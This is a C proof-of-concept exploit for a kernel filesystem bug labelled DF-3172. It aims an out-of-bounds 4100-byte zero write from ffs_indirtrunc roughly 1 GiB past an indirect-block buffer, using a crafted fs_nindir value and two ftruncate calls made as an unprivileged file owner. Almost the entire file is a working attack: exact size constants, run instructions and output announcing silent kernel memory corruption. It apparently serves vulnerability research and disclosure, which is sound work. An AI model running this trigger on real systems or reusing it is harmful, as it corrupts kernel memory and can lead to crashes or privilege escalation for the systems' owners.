/*
 * DF-3172 aimed-variant trigger — demonstrates that the ffs_indirtrunc
 * bzero (ffs_inode.c:535-536) is not merely a blind overflow: with a
 * crafted fs_nindir M = 2^28 the attacker picks BOTH the start offset
 * (lastbn+1)*sizeof(ufs_daddr_t) and the length (M-(lastbn+1))*4.
 *
 * This variant aims a 4100-byte zero-march at b_data + 1.000 GiB
 * (start = 1,073,737,724) — ~1 GiB above the indirect-block buffer,
 * i.e. entirely outside the buffer KVA arena if b_data sits where run A
 * put it. File uses ONLY a single-indirect block (i_ib[0]) so the
 * SINGLE-level path fires: factor=1, last = lastbn = M-1026.
 *
 * run as the unprivileged file owner:
 *   aim3172 <path> extend   # ftruncate to S (balloc allocates i_ib[0] only)
 *   aim3172 <path> shrink   # ftruncate to L -> aimed bzero at +1GiB
 */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define L 1099507478528LL
#define S 1099507482624LL

int main(int argc, char **argv){
    const char *path = argc > 1 ? argv[1] : "/mnt/poc/d/g";
    const char *mode = argc > 2 ? argv[2] : "shrink";
    int fd = open(path, O_RDWR|O_CREAT, 0644);
    if (fd < 0) { perror("open"); return 1; }
    printf("uid=%d euid=%d path=%s mode=%s\n", getuid(), geteuid(), path, mode);
    if (!strcmp(mode, "extend")) {
        printf("[1] ftruncate extend to %lld ...\n", S);
        if (ftruncate(fd, S)) { perror("ftruncate-extend"); return 2; }
        printf("[2] extend ok (single-indirect only, under crafted M=2^28)\n");
        return 0;
    }
    printf("[1] ftruncate shrink to %lld -> aimed 4100-byte zero at b_data+1073737724 (+1GiB)\n", L);
    fflush(stdout);
    if (ftruncate(fd, L)) { perror("ftruncate-shrink"); return 3; }
    printf("SURVIVED (aimed region was mapped: silent 4100-byte kernel corruption)\n");
    return 0;
}
